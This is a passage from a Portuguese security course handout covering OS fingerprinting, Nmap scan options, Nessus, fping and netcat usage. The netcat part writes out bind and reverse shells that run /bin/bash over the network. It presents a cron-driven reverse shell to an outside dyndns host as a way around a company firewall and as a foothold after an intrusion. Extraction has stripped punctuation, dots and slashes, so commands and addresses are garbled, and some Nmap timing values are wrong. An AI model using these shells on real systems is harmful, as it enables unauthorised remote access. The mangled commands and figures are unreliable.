OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

